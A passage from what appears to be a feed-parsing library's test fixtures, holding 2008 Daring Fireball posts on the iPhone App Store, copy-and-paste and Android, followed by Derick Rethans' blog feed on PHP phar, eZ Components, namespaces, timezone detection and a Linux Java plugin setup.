    ]]>         What Getting Buzzed Says About Yahoo tag:daringfireball.net,2008:/linked//6.13107 2008-07-16T18:12:52-04:00 2008-07-16T18:12:52-04:00 John Gruber http://daringfireball.net/ Om Malik:

    A story by Judi Sohn, who edits WebWorkerDaily, one of our growing portfolio of blogs, was featured on the home page of Yahoo last night. The story got voted up via Yahoo’s Buzz, a service akin to Digg, except much more powerful.

    In a few hours, the story about what to expect when switching from a BlackBerry to an iPhone was viewed over 200,000 times and attracted over 350 comments.

    That’s about ten times the traffic that I’ve seen from Digg.

    At the risk of repeating myself, Yahoo’s core business now is “audience”. The company, instead of trying to out-Google Google, needs to beat itself by figuring out new ways to keep the audience growing.

    This goes along with Dave Pell’s advice from a few weeks ago.

    ]]>         Mike Arrington Interviews Evan Williams tag:daringfireball.net,2008:/linked//6.13105 2008-07-16T17:55:55-04:00 2008-07-16T17:55:55-04:00 John Gruber http://daringfireball.net/ Video, with a transcript below.

    ]]>         Apple Apologizes for MobileMe Launch, Extends Subscriptions tag:daringfireball.net,2008:/linked//6.13103 2008-07-16T16:59:24-04:00 2008-07-16T16:59:24-04:00 John Gruber http://daringfireball.net/ Pretty good way to handle this. A free month of service for four or five days of downtime. Here’s Apple’s FAQ on the extension.

    ]]>         Grawlix tag:daringfireball.net,2008:/linked//6.13101 2008-07-16T16:47:23-04:00 2008-07-16T16:47:23-04:00 John Gruber http://daringfireball.net/ “A string of typographical symbols used (especially in comic strips) to represent an obscenity or swear word.”

    ]]>         ★ Copy and Paste tag:daringfireball.net,2008://1.13095 2008-07-15T15:29:16-04:00 2008-07-15T15:29:17-04:00 John Gruber http://daringfireball.net/ There are two possibilities regarding the iPhone's continued lack of a system-wide copy-and-paste clipboard. Either Apple's iPhone UI team doesn't plan to add it, or, they haven't gotten to it yet. There are two possibilities regarding the iPhone’s continued lack of a system-wide copy-and-paste clipboard. Either Apple’s iPhone UI team doesn’t plan to add it, or, they haven’t gotten to it yet.

    I saw a couple of links today pointing, incredulously, to this post from Sascha Segan at AppScout:

    I got a few minutes of quality time today to ask Apple product head Greg Joswiak some of the most burning questions about missing iPhone applications and features.

    Why isn’t there cut and paste? Apple has a priority list of features, and they got as far as they could down that list with this model, Joswiak said. In other words, they don’t have anything against cut and paste. They just judged other things to be more important.

    No direct quotes from Joswiak, but based on Segan’s paraphrasing, it sounds like the latter of the two explanations — that they haven’t gotten to it yet. I’m not sure why so many people find this explanation so hard to believe.

    Additional features take additional time to develop. Many commenters at Engadget, for example, seem to think adding copy and paste to the iPhone is simply a matter of “storing a text string into memory” or writing two lines of code.

    Writing the code to implement a system-wide clipboard isn’t the hard part — as I wrote in August, the hard part is coming up with the right UI design for it. Whatever the UI for copy-and-paste for the iPhone OS eventually is, it’s very likely to remain as the UI for copy-and-paste on the iPhone for decades to come. (The basic UI for copy-and-paste on the original Mac remains in use today by everyone using Mac OS X and Windows — same concepts, same menu commands, even the same keyboard shortcuts.)

    But even if Apple has already decided upon a UI design for iPhone clipboard features, it would take time to write the code. There are some very interesting new features in the 2.0 release of the iPhone OS, but what’s most striking is how little has changed, at least visually, since the 1.0 release last June.

    Part of it is that Apple’s iPhone UI is exceedingly minimal — most apps seem to be designed using “figure out the least we can possibly do, then implement those basic features with as much attention to detail as we can” as the guiding principle. Do way less, but way better. So, most of the UI that appeared in iPhone OS 1.0 remains unchanged. Very little has changed at all in Safari, iPod, or Phone — three of the four primary apps. And even Mail’s biggest change is rather minor (multiple selection for deleting and filing messages).

    But a big part is that the iPhone software engineering teams had an enormous amount of work on their plates implementing the features that did appear in the 2.0 OS — most obviously with everything associated with opening the iPhone to third-party software — the App Store, the Cocoa Touch APIs, the sandboxing of individual applications, integration with Xcode development tools, etc. There’s also a thing called MobileMe. And the iPhone performance team had to integrate 3G networking, and wound up with the highest-performing battery life of any 3G phone PC World tested.

    And if you’re actually using iPhone OS 2.0, you’ve probably seen a few spots where a lot of this new stuff isn’t working perfectly. Like, say, with third-party apps that crash on start and force the entire OS to restart.

    I want copy-and-paste as much as the next guy. Probably more, really. But given the evidence at hand — that the new iPhone OS 2.0 as it actually is has significant new features, which were already a little late, and which still have at least a few significant bugs — it boggles the mind that anyone could take Joswiak’s explanation regarding the lack of copy-and-paste as anything other than the obvious truth.

    ]]>         ★ iPhone Display Color Temperature, and the Difference Between Builds 5A345 and 5A347 of the iPhone OS tag:daringfireball.net,2008://1.13059 2008-07-14T15:27:19-04:00 2008-07-14T17:40:12-04:00 John Gruber http://daringfireball.net/ Regarding the difference between builds 5A345 and 5A347 of iPhone OS 2.0. So I linked yesterday to a piece by Jason Snell at Macworld regarding the different color temperature of new iPhone 3G displays. Snell asked iPhone product marketing director Bob Borchers (the same “Bob” from the iPhone Guided Tour videos, by the way) about the change, and Borchers said it was a deliberate design change.

    At Ars Infinite Loop, however, Clint Ecker is reporting that the color change is slightly less warm/yellow in build 5A347 of the iPhone OS, as compared to build 5A345. This is confusing, so bear with me. 5A345 is the version that iPhone SDK members received as the final beta, and it is the version that many brand-new iPhone 3Gs shipped with from the factory. 5A347 is the very latest version, however, and so it is the one iTunes will download if you restore an iPhone.

    I found that hard to believe — I had assumed that the differences between 345 and 347 were nearly insignificant. For example, if you have an iPhone with 5A345 installed, connect it to your computer, and tell iTunes to “Check for Updates”, iTunes will report: “This version of the iPhone software (2.0) is the current version.” I.e. iTunes does not treat 5A347 as an update for 5A345.

    This is the URL iTunes pulls down when performing a version check for an iPhone. It is an XML document (gzip-encoded). The pertinent section looks like this:

    <key>5A345</key>
<dict>
    <key>SameAs</key>
    <string>5A347</string>
</dict>

<key>5A347</key>
<dict>
    <key>Restore</key>
    <dict>
        <key>BuildVersion</key>
        <string>5A347</string>

        <key>DocumentationURL</key>
        <string>[…]</string>

        <key>FirmwareURL</key>
        <string>[…]</string>

        <key>ProductVersion</key>
        <string>2.0</string>
    </dict>
</dict>

    (I replaced two long URLs with “[…]” for the sake of clarity.)

    5A345 is explicitly marked as being the same as 5A347, at least for the purposes of recommended software updates.

    It struck me as very unlikely that Apple would make a change as significant as tweaking the display color temperature at the last minute. But if they were to make a change like that, it seems even more unlikely that they would do so in a build that isn’t pushed out as an automatic update for iPhones running 5A345. So I asked a source at Apple on the iPhone engineering team who is, as they say, familiar with the situation, and my source told me there were no changes regarding display color temperature between 5A345 and 5A347, and that there’s no practical reason why someone with an iPhone with 5A345 installed should go through a complete system restoration just to get 5A347.

    Update: Clearly, there is some variation in display color temperature between different iPhones, and even between different brand-new iPhone 3Gs. Whatever is causing this variation — my guess is slightly different screen components — isn’t related to versions 5A345 and 5A347 of the OS.

    ]]>         ★ The App Store, Day One tag:daringfireball.net,2008://1.13017 2008-07-10T23:59:59-04:00 2008-07-11T00:38:33-04:00 John Gruber http://daringfireball.net/ A few comments and observations after the first day of the iTunes App Store. Observations regarding the App Store and some of the apps:

    Download Counts

    On the iPhone’s App Store app, at the bottom of the details page for every app is a downloads count. Given that the only way to download a non-free app is to buy it, it more or less puts sales figures out in the open. These download numbers are not visible in iTunes — only in the App Store app.

    [Update, 11 am EDT: At some point overnight, Apple reset the download counts to zero, and they’ve stayed there. Second thoughts regarding the open kimonos? Also, it’s unclear whether the download counts that were visible yesterday (and reported below) were U.S.-only or worldwide.]

    This is interesting for a couple of reasons. First, obviously, you can look at popular apps and figure out how much money they (and Apple) have made. As I type this, Sega’s Super Monkey Ball game has been downloaded 10,955 times, and costs $9.99. That’s $109,440 in revenue in under a day — about $76K for Sega, and $33K for Apple.

    Second, for the handful of apps with free and paid counterparts, we can see how many people are willing to pay for the non-free versions. The Iconfactory’s Twitterrific and Fraser Speirs’s Flickr client Exposure share a very similar model: both apps are available through the App Store in two forms: (a) a free version, supported by occasional ads from The Deck1, and a paid ad-free version for $9.99. As of this writing, here’s how the download counts look:

    Exposure 3,638
    Exposure Premium 76
    Twitterrific 13,638
    Twitterrific Premium 322

    So the ratios are very similar: 48-1 for Exposure, and 42-1 for Twitterrific. These numbers very well may change over time — for example, perhaps some users are treating the free ad-supported versions as the equivalent of demo versions, and, if they continue using and enjoying the apps, will spring for the paid premium versions in a few weeks.

    The download numbers don’t seem to be live, and a few developers who’ve been (understandably) obsessing over their numbers all day have told me that they’ve seen them fluctuate — both up and down. I suspect both the non-live updates and downward fluctuations are related to caching.

    It’ll be interesting to see if Apple continues displaying these numbers going forward. And it’ll be interesting to see what happens tomorrow, after the iPhone 3G goes on sale in Europe and North America, and after (I presume) the iPhone 2.0 OS update is officially released for existing iPhone users.

    Reliability

    Given the high daily traffic of the iTunes Store (for music and video), I’m not surprised, but the App Store seemed perfectly responsive all day long. Again, though, tomorrow — after the worldwide launch of the iPhone 3G and the 2.0 OS — will be the real test.

    I even bought and downloaded an app over EDGE, no problem at all. (Apps purchased over the phone network — EDGE or 3G — are limited to 10 MB, but most apps are well under that.)

    Re-Downloads

    If you accidentally delete an app you’ve bought, you can re-download it for free. The App Store UI doesn’t make this clear, but Apple describes it in this KBase article. What you do is act like you’re buying it again — tap the app’s price, and the App Store will recognize that you’ve already purchased it and ask if you wish to download it again. You can also do this from iTunes, to re-download an app to your computer that you originally purchased on your iPhone.

    Sandboxing

    Each app and its data are stored together, at least conceptually. When you delete an app from your phone, all of the files belonging to that app are deleted as well — preferences, data, support files — all of it is removed. Further, apps are not able to install files in the system behind your back. Delete an app from the home screen and there’s no sign of it left behind.

    This doesn’t mean data files are stored within an application’s bundle — they’re not. What it means is that because you, the user, don’t manage anything at the file system level, iTunes and the iPhone OS take care of all of it for you. Foolproof, almost — a very friendly conceptual design for typical users.

    AOL’s AIM App, and Third-Party Prefs in the System-Wide Settings App

    I’d sort of forgotten about it after the early demo back at the SDK announcement event in March, but one of today’s top downloads is an official AIM client from AOL — 43,226 downloads at this writing. I found it to be buggy as hell. At one point it was crashing for me on launch, endlessly, until I deleted it and re-installed. It doesn’t do links — URLs in a message aren’t tappable. Some messages came in blank — I could see who they were from, but there was no visible text.

    One other thing I noticed might prove important when using other applications, as well. AIM’s settings are not accessed within the app itself; rather, AIM adds a settings panel to the system-wide Settings app. What makes this so confusing, though, is that the first time you launch AIM, it (logically) prompts you for an AIM username and password. However, if you make a typo entering either, there’s no visible way to correct it — the account setup screen goes away after your first attempt. To change them, you need to leave AIM and open Settings, then scroll down (third-party panels are at the bottom).

    AOL is not being untoward in this regard; this is actually what Apple encourages iPhone developers to do. Based on the apps I’ve seen today, though, most developers aren’t doing it. That’s a bad combination — if most third-party apps display their settings screens themselves, then when users do encounter an app that uses the system-wide Settings app, they’re very likely to assume that the app simply doesn’t have any settings.

    1. Disclosure: Daring Fireball has been part of The Deck ad network since February 2006. ↩

    ]]>         ★ Android Expectations tag:daringfireball.net,2008://1.12725 2008-06-24T18:34:10-04:00 2008-06-24T18:34:10-04:00 John Gruber http://daringfireball.net/ I have high hopes, but not expectations, for Android. The new issue of Wired has a nice 5,000-word piece by Daniel Roth offering a behind-the-scenes look at Google Android. More about Google’s (and their Android team’s) motivation and goals than about specific details of the platform, but interesting.

    One thing I should make clear, given some of the email I’ve gotten this week, is that I’m rooting for Android, big-time. My obsession is with wonderful, thoughtful software and gadgetry. I love the iPhone because it’s fucking amazing, not because it’s from Apple. It’d be fantastic if even one Android-based phone is as good or better than the iPhone. And Android’s “code what you want to code, install what you want to install” openness is a fascinating contrast to Apple’s tightly controlled iPhone software platform.

    If things work out ideally with Android, it’s easy to imagine how Android, as an overall platform, could wind up being better than the iPhone, or at least could force Apple to open the iPhone software platform further. But that’s an enormously big if.

    The big advantage Apple has with the iPhone is that they control the entire product, top to bottom. The case, the chipsets, the OS, the user interface. Apple knows exactly what the screen will look like when a brand new iPhone is turned on for the first time. Google’s dependence on hardware and carrier partners puts the final product out of their control — and into the control of companies whose histories have shown them to be incompetent at design and hostile to users.

    I’d be happy to be proven wrong, but my hunch is that the only way we’ll see an iPhone-caliber Android phone is if Google does what they’ve said they’re not going to do, which is to design and ship their own reference model “gPhone”. That doesn’t mean Android won’t still be successful in some sense if it remains on its current course, but that I don’t expect it to be successful in the “holy shit is this awesome!” sense that the iPhone is.

    I have high hopes for Android, but my expectations are pretty low.

    ]]>         Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-derickrethans.nl-rss.xml0000664000175000017500000013065112653701626025562 0ustar janjan Derick Rethans http://www.derickrethans.nl/ Rants, interesting tools and political views, all "IMO". en-us Copyright 2002-2005 Derick Rethans 2008-06-27T16:15:00+02:00 derick@derickrethans.nl (Derick Rethans) derick@derickrethans.nl (Derick Rethans) blog cms php work xdebug Friday afternoon toying: eZ Components as phar http://derickrethans.nl/friday_afternoon_toying_ez_components_as_phar.php <p> PHP 5.3 will have a new cool feature: <a href="http://php.net/phar">phar</a>. A phar is to PHP what a jar is to Java. I spent a little time to see how easy it would be to make our latest <a href="http://ezcomponents.org">eZ Components</a> release into a workable phar. </p> <p> First of all, a phar can be build from a directory structure with a few functions only: </p> <p> <pre> &lt;?php $phar = new Phar( 'ezcomponents-2008.1.phar', 0, 'ezcomponents-2008.1.phar' ); $phar-&gt;buildFromDirectory( __DIR__ . '/ezcomponents-2008.1', '/\.php$/'); $phar-&gt;compressFiles( Phar::GZ ); $phar-&gt;stopBuffering(); ?&gt; </pre> </p> <p> This build script will create a phar from the directory contents in "ezcomponents-2008.1", but only include the PHP files (See http://php.net/phar.buildfromdirectory). We compress all the files and with <a href="http://php.net/phar.stopbuffering">stopBuffering</a>we write the file to disk. With the following code, we can now use the phar in our application: </p> <p> <pre> require 'ezcomponents-2008.1.phar'; </pre> </p> <p> It is also possible to run a bit of code when including the phar. You do this, by adding a stub to the phar. To do so, we include the following code just before the compressFiles() call: </p> <p> <pre> $stub = &lt;&lt;&lt;ENDSTUB &lt;?php Phar::mapPhar( 'ezcomponents-2008.1.phar' ); require 'phar://ezcomponents-2008.1.phar/Base/src/base.php'; spl_autoload_register( array( 'ezcBase', 'autoload' ) ); __HALT_COMPILER(); ENDSTUB; $phar-&gt;setStub( $stub ); </pre> </p> <p> After we re-create the phar with "php -dphar.readonly=0 build.php". The new phar once required will now setup the autoload mechanism of the eZ Components. The following script demonstrates that it actually works: </p> <p> <pre> &lt;?php require 'ezcomponents-2008.1.phar'; $f = ezcFeed::parse( 'http://derickrethans.nl/rss.xml' ); foreach ( $f-&gt;item as $item ) { echo $item-&gt;title, &quot;\n&quot;; } ?&gt; </pre> </p> <p> Conclusion: phar is cool! </p> derick@derickrethans.nl 2008-06-27T16:15:00+02:00 blog cms php work eZ Components 2008.2 roadmap http://derickrethans.nl/ez_components_20082_roadmap.php <p> <a href="http://ezcomponents.org/"><img src='http://derickrethans.nl/images/content/ezc-logo.png' align='' alt=''/></a> </p> <p> We've created a roadmap for the upcoming <a href="http://ezcomponents.org">eZ Components</a> (2008.2) release. In this release our main focus is to add MVC support. Where most frameworks dedicate a specific router, controller and view, the MVC implementation in eZ Components will only consist of very loosely based parts. For each of the specific parts of MVC we will provide one or more default implementations, as well as detailed information on how to write your own implementations of a Model, View and Controller. Of course most of those implementations will be done through Tie-in components. At the moment we're creating a requirements and design specification. If you're interested in participating in this discussion, please drop by on our <a href="http://ezcomponents.org/support/mailinglist">mailinglist</a>. </p> <p> Besides this main focus, we will also enhance some of the critical components that the upcoming version of eZ Publish will require. Please see the <a href="http://ezcomponents.org/overview/roadmap"> full roadmap</a>. </p> derick@derickrethans.nl 2008-06-24T16:02:00+02:00 blog cms php work eZ Awards http://derickrethans.nl/ez_awards.php <p> <img src='http://derickrethans.nl/images/content/ezc-logo.png' align='' alt=''/> </p> <p> Last Thursday, during the <a href="http://conference.ez.no/">Open Nordic Conference 2008</a> <a href="http://ez.no">eZ Systems</a> handed out its annual awards again. For the <a href="http://ezcomponents.org">eZ Components</a> award, there were four nominees, which are all recognised for their support of the eZ Components project. </p> <p> The nominees were Stefan Marr and Falko Menge: for the work on the upcoming Extended Reflection component, James Pic: for the work on the upcoming MVC additions, Andreas Schamberger: for contributions to the <a href="http://ezcomponents.org/docs/api/latest/introduction_Template.html#translations">Template and Translation tie-in</a> functionality, and Freddie Witherden: for the contribution of SVG font support in the <a href="http://ezcomponents.org/s/Graph">Graph</a> component. </p> <p> This year's eZ Components award has been awarded to James Pic , congratulations! </p> derick@derickrethans.nl 2008-06-23T13:38:00+02:00 blog cms conference php work PHP Vikinger 2008 Wrap-up http://derickrethans.nl/php_vikinger_2008_wrapup.php <p> PHP Vikinger is over again. With about 35 attendees, I would think it was a great success. After opening the event, we figured out which topics people were interested in. After voting for the topics, we came up with a nice couple of topics. First we had a little discussion on QA and Testing, which Thomas Nuninnger moderated. I include my (raw) notes from this: </p> <p> <a href="http://selenium.openqa.org/">Selenium</a> takes a long time to run tests, so Thomas only uses it for front end only, whereas <a href="http://phpunit.de">phpunit</a> is used for as much as possible backend code. Selenium apparently has some functionality for parallizing ( <a href="http://selenium-grid.openqa.org/">selenium grid</a>), but there are some issues as well as you can not tell it to run specific tests parallel. <a href="http://code.google.com/p/webdriver/">WebDriver</a> does exactly the same, except for running it in the same browser. But it's going away from actually using a real browser... which sorta defeats the point of Selenium. Thomas also mentions that sometimes a fixed value as recorded by the IDE is not good... but you can "fix" that yourself in the PHPUnit tests that Selenium can export. The IDE is getting better BTW. <a href="http://cruisecontrol.sourceforge.net/">CruiseControl</a>, <a href="http://www.phpundercontrol.org/">phpUnderControl</a>, <a href="http://phing.info/">phing</a> (phing is not gnu make) - a port of <a href="http://ant.apache.org/">Ant</a>. </p> <p> After this, we had a discussion about the deployment of web applications, where we discussed some different approaches such as "svn check-out", but also tools for doing so such as <a href="http://www.capify.org/">Capistrano</a>. </p> <p> Sebastian then explained a little bit about the <a href="http://php.net/class">PHP Object Model</a>. We also tried to figure out a strange profiling issue in one of Zoë Slattery's applications with <a href="http://xdebug.org">Xdebug</a>, but we could not manage to figure out what it was just yet. The last talk before lunch was from Kore Nordmann about <a href="http://incubator.apache.org/couchdb/">CouchDb</a>. </p> <p> After the pizza lunch provided by Klosterøya, we continued with presentations on <a href="http://www.projectzero.org/">Project Zero</a>, by Ant Philips of IBM; the new lexer in PHP by Scott MacVicar and a talk by Sebastian Bergmann on the <a href="http://ezcomponents.org/s/Workflow">eZ Components' Workflow</a> component. The last talk of the day was by Tobias Schlitt on <a href="http://ezcomponents.org/s/Database">database abstraction with eZ Components</a>. </p> <p> I will put the slides online at the <a href="http://phpvikinger.org">PHP Vikinger</a> website once I receive all of them. </p> derick@derickrethans.nl 2008-06-23T10:45:00+02:00 blog conference php work Namespaces in PHP http://derickrethans.nl/namespaces_in_php.php <p> During Stefan Priebsch' session at the <a href="http://phpconference.nl">Dutch PHP Conference</a> on <a href="http://phpconference.nl/schedule/php6">PHP 5.3 and PHP 6 - A look ahead</a> a discussion popped up about PHP's namespace support. One of the things that came up is the conflicts that can arise with internal classes. </p> <p> Take for example this code: </p> <p> <pre> &lt;?php use PEAR::Date::Interval as Interval; ?&gt; </pre> </p> <p> In PHP 5.3 this would alias the class Interval in the namespace PEAR::Date to the class Interval. For now, this code would work just fine. However, if PHP would introduce a class "Interval" at some point in the future (and PHP can do this as it <a href="http://www.php.net/manual/en/userlandnaming.rules.php">owns the global namespace</a>) then the above code would suddenly stop working. So in order to use namespaces properly, you always need to have at least two elements left, like: </p> <p> <pre> &lt;?php use PEAR::Date as pd; $interval = new pd::Interval; ?&gt; </pre> </p> <p> You need to make sure of course that the short name that you pick is something that does not sound to much like a class name otherwise you'll have exactly the same issue. It's not very likely that PHP will introduce a class pd though. </p> derick@derickrethans.nl 2008-06-15T13:53:00+02:00 blog cms php Detecting Timezone By IP http://derickrethans.nl/detecting_timezone_by_ip.php <p> Through <a href="http://planet-php.org">Planet PHP</a> I found an article on <a href="http://torrentialwebdev.com/blog/archives/152-Pre-populating-forms-with-the-timezone.html">Pre-populating forms with the timezone</a>. I'd normally add a comment instead, but the comment would almost be larger then the original post, so I am instead writing up an entry myself. The post describes several ways to obtain the user's timezone and use that to pre-fill a form. None of them are working properly though. I'll try to explain for each of them why not, but first of all it is important to know what a timezone actually is. </p> <p> A timezone is a set of rules that determines the UTC offset for different times around the year for a specific location. Because of daylight savings time, a specific location can have two (or more) different UTC offsets depending on what point in time you look at it. Some areas might have had different rules in the past, even in the same country. An example here is China, where currently there is only one timezone, but previously there were multiple. Thus there are different timezones for the different locations in China, even though the current UTC offset is the same for all of them. Timezones are identified by Country/City or Country/Subcountry/City. </p> <p> The offering by <a href="http://www.maxmind.com/timezone.txt">MaxMind</a> allows you to link a country/region combination to Timezone identifier. For the US it subdivides this per state even. However, it misses the different timezones for Russia, Australia and even Indiana, USA. </p> <p> <a href="http://www.ip2location.com/ip-country-region-city-latitude-longitude-zipcode-timezone.aspx">IP2Location</a> only provides a single UTC offset per IP range, totally ignoring daylight savings time. </p> <p> The <a href="http://www.hostip.info/dl/index.html">Hostip.info</a> solution I can't access because phpclasses requires some stupid registration. </p> <p> As for the author's own solution, using JavaScript, is flawed at least partly as well. In his example JavaScript only returns a UTC offset. Luckily it is possible to detect the correct timezone quite a bit better by using some of PHP's functionality. The following bit of code uses both the UTC offset and the timezone abbreviation to find out the user's timezone: </p> <p> <pre> &lt;?php if (!isset($_GET['tzinfo'])) { ?&gt; &lt;html&gt; &lt;script type=&quot;text/javascript&quot;&gt; var d = new Date() var tza = d.toLocaleString().split(&quot; &quot;).slice(-1) var tzo = d.getTimezoneOffset() window.location = window.location + '?tzinfo=' + tza + '|' + tzo &lt;/script&gt; &lt;/html&gt; &lt;?php } else { list( $abbr, $offset ) = explode( '|', $_GET['tzinfo']); echo timezone_name_from_abbr( $abbr, $offset * -60 ); } ?&gt; </pre> </p> <p> This is still not perfect of course, because it would for example give the same result for most of Europe (Europe/Berlin). </p> <p> Figuring out the user's timezone can be done by using a high-accuracy database of IPs to lat/longitudes such as <a href="http://hostip.info">hostip.info</a> and <a href="http://www.maxmind.com/app/city">MaxMind</a> offer, as well as a mapping from location to timezone. The latter however, is not available as far as I know. If however a data file that has proper definitions of the different timezone boundaries exist (mostly, on a per-province level would be enough), then such a tool can be easily build. I saw that <a href="http://www.openstreetmap.org/">OpenStreetMap</a> has such a map, but I can't really find the raw data for that unfortunately. It would however, be awesome to have such a data file. </p> derick@derickrethans.nl 2008-05-06T22:09:00+02:00 cms php xdebug Xdebug finally in Debian http://derickrethans.nl/xdebug_finally_in_debian.php <p> <img src='http://derickrethans.nl/images/content/xdebug_logo.png' align='left' alt=''/> Since a few days, there is a new package in Debian: <a href="http://lists.debian.org/debian-devel-changes/2008/05/msg00361.html">php5-xdebug</a>. After a few years of talking licenses, due to the help of Martin Meredith and <a href="http://feeding.cloud.geek.nz/">François Marier</a> Xdebug can finally be installed with apt-get. See the synaptic screen shot as well: </p> <p> <img src='http://derickrethans.nl/images/content/xdebug-in-debian.png' align='' alt=''/> </p> derick@derickrethans.nl 2008-05-06T14:30:00+02:00 blog cms conference php travel Location for PHP Vikinger http://derickrethans.nl/location_for_php_vikinger.php <p> We've now found a definite location for <a href="http://phpvikinger.org">PHP Vikinger</a>. It will be at one of the old factory buildings here at <a href="http://www.klosteroya.no/">Klosterøya</a>, close to <a href="http://ez.no">eZ Systems'</a> offices. The room has about space for 80 people, and has a nice view over the river southwards. About 20 people from Norway, Iceland, the UK, Germany and Denmark have signed up so far. This means there is still plenty of space for you! See <a href="http://phpvikinger.org">http://phpvikinger.org</a> for more information, and the <a href="http://phpvikinger.org/news/news-2008-04-22">invitation</a>. </p> derick@derickrethans.nl 2008-05-02T10:54:00+02:00 blog php work Firefox and 64 bit Java Plugin http://derickrethans.nl/firefox_and_64_bit_java_plugin.php <p> Because the lazy bastards at <a href="http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4802695">Sun</a> still didn't manage to make a 64 bit version of their Java plugin, you have to go through all sorts of hoops to make it actually work. Normally I wouldn't really care about this, but unfortunately my bank decided to require Java working in the browser for authentication. Four hours of my time later, I managed to get it working. To save others from some of the pain, here is how I did that: </p> <p> 1. Download from <a href="ftp://ftp.tux.org/pub/java/JDK-1.4.2/amd64/">ftp://ftp.tux.org/pub/java/JDK-1.4.2/amd64/</a> the file <a href="ftp://ftp.tux.org/pub/java/JDK-1.4.2/amd64/03/j2sdk-1.4.2-03-linux-amd64.bin">j2sdk-1.4.2-03-linux-amd64.bin</a>. </p> <p> 2. I downloaded it to ~/install, so go into that directory and run: </p> <p> <pre> chmod +x j2sdk-1.4.2-03-linux-amd64.bin </pre> </p> <p> 3. Run: </p> <p> <pre> ./j2sdk-1.4.2-03-linux-amd64.bin </pre> </p> <p> and wait until it's done installing (make sure it mentions "Uncompressing Blackdown Java 2 Standard Edition SDK v1.4.2-03" at some point). </p> <p> 4. Now, to make it work as a plugin, you have to link (not copy, as that makes the browser crash) the plugin to your mozilla directory. For me: </p> <p> <pre> cd /home/derick/.mozilla/plugins ln -s /home/derick/install/j2sdk1.4.2⇢ /jre/plugin/amd64/mozilla/libjavaplugin_oji.so . </pre> </p> <p> 5. Restart the browser and check whether the blackdown java plugin shows up if you go to <a href="about:plugins">about:plugins</a>. </p> derick@derickrethans.nl 2008-04-30T14:13:00+02:00 blog Unicode fun http://derickrethans.nl/unicode_fun.php <p> ˙ǝʞoɾ slooɟ s,lıɹdɐ ʇxǝu ǝɥʇ ʇuǝɯǝldɯı oʇ ʇuɐʍ noʎ ɟı unɟ - sıɥʇ ǝʞıl ƃuıɥʇǝɯos sı ʇlnsǝɹ ǝɥʇ ˙ǝsɹǝʌǝɹ puɐ 'uʍop ǝpısdn ʇxǝʇ sʇnd ʎllɐnʇɔɐ ʇɐɥʇ ʇdıɹɔs ɐ ǝɯ ǝʌɐƃ lɐdoƃ oƃɐ ǝɯıʇ ǝɯos ˙ǝɯıʇ ǝɯos ǝʇınb ɹoɟ ǝpoɔıun puɐ sʇǝs ɹǝʇɔɐɹɐɥɔ ɥʇıʍ ƃuıʎɐld uǝǝq ǝʌ,I </p> derick@derickrethans.nl 2008-04-27T14:49:00+02:00 blog cms conference php travel PHP Vikinger unconference open for registration http://derickrethans.nl/php_vikinger_unconference_open_for_registration.php <p> <img src='http://derickrethans.nl/images/content/phpv.gif' align='' alt=''/> </p> <p> The <a href="http://phpvikinger.org">PHP Vikinger</a> unconference, to be held in Skien, Norway on June 21st is now open for <a href="http://phpvikinger.org/register">registration</a>. You can find the full invitation and announcement <a href="http://phpvikinger.org/news/news-2008-04-22">here</a>, but I will repeat the highlights. </p> <p> First of all, this is a free event, but we do require you to register for it to see whether we would have enough space. Places to sleep, and getting to Skien should be arranged by yourself. We made a <a href="http://phpvikinger.org/directions">information page</a> with some suggestions though. The <a href="http://php.no">Norwegian PHP User group</a> has reports and videos from <a href="http://php.no/phpvikinger">last year</a>. The unconference open for all, from beginners to advanced PHP users. At the moment there are about 12 registrations, from people from Norway, Germany, Iceland and the UK. Hope to see you here! </p> derick@derickrethans.nl 2008-04-27T10:38:00+02:00 blog cms conference php travel work Announcing PHP Vikinger 2008 http://derickrethans.nl/announcing_php_vikinger_2008.php <p> The <a href="http://phpvikinger.org">PHP Vikinger</a> unconference will be held for the third year in <a href="http://tinyurl.com/6c2ybw=">Skien, Norway</a>. Just like previous years it follows directly after <a href="http://ez.no">eZ Systems</a> <a href="http://conference.ez.no">conference</a> which puts this year's <a href="http://phpvikinger.org">PHP Vikinger</a> on June 21st, the longest day of the year. </p> <p> Flickr features some pictures from <a href="http://www.flickr.com/photos/tags/phpvikinger">previous years</a>. And <a href="http://php.no">PHP Norge</a> has a report from <a href="http://php.no/phpvikinger">last year</a>. Let me know (through the e-mail on the <a href="http://phpvikinger.org">PHP Vikinger</a> website) if you're interested, and if you want to suggest topics. </p> derick@derickrethans.nl 2008-04-18T20:13:00+02:00 blog nature photography php Nacreous Clouds - take 2 http://derickrethans.nl/nacreous_clouds_take_2.php <p> <img src='http://derickrethans.nl/images/content/nacreous2.jpg' align='' alt=''/> </p> <p> Finally another sighting of those rare nacreous clouds. More on <a href="http://flickr.com/photos/derickrethans/sets/72157603752195727/">flickr</a>. </p> derick@derickrethans.nl 2008-01-19T18:16:00+01:00 blog nature photography php Finally a sunset after so much rain. http://derickrethans.nl/finally_a_sunset_after_so_much_rain.php <p> <a href="http://www.flickr.com/photos/derickrethans/1196582162/in/set-72157601593025371/"><img src='http://derickrethans.nl/images/content/sunset.jpg' align='' alt=''/></a> </p> derick@derickrethans.nl 2007-08-21T21:41:00+02:00 photography Snowy Sunset http://derickrethans.nl/snowy_sunset.php <p> <img src='http://derickrethans.nl/images/content/snow-sunset.jpg' align='' alt=''/> </p> derick@derickrethans.nl 2007-02-03T17:55:00+01:00 conference holiday nature photography php travel Brasil Conference Wrap-up http://derickrethans.nl/brasil_conference_wrapup.php <p> In the beginning of this month I attended the <a href="http://www.temporealeventos.com.br/?area=13">PHP Conference Brasil</a>. Besides speaking on <a href="http://xdebug.org">Xdebug</a> and the <a href="http://ez.no/ezcomponents">eZ Components</a> I also spend a few extra days as holiday there. </p> <p> During those extra days I flew to Foz do Iguaçu to have a look at the <a href="http://photos.derickrethans.nl/brasil2006/aab">Itaipu dam</a> on the border with Paraguay and <a href="http://photos.derickrethans.nl/brasil2006/aak">Iguaçu falls</a>. </p> <p> <img src='http://derickrethans.nl/images/content/iguacu.png' align='' alt=''/> </p> <p> Besides the falls there are many other things to see in the park, such as <a href="http://photos.derickrethans.nl/brasil2006/aao">butterflies</a> and <a href="http://photos.derickrethans.nl/brasil2006/abi">very big ants</a>. </p> <p> After visiting the park I travelled further south to visit one of my colleagues, <a href="http://photos.derickrethans.nl/brasil2006/abq">Melissa</a>. Together we travelled to Gramado, a very German <a href="http://photos.derickrethans.nl/brasil2006/abm">looking city</a>. </p> <p> For the rest of the pictures check my <a 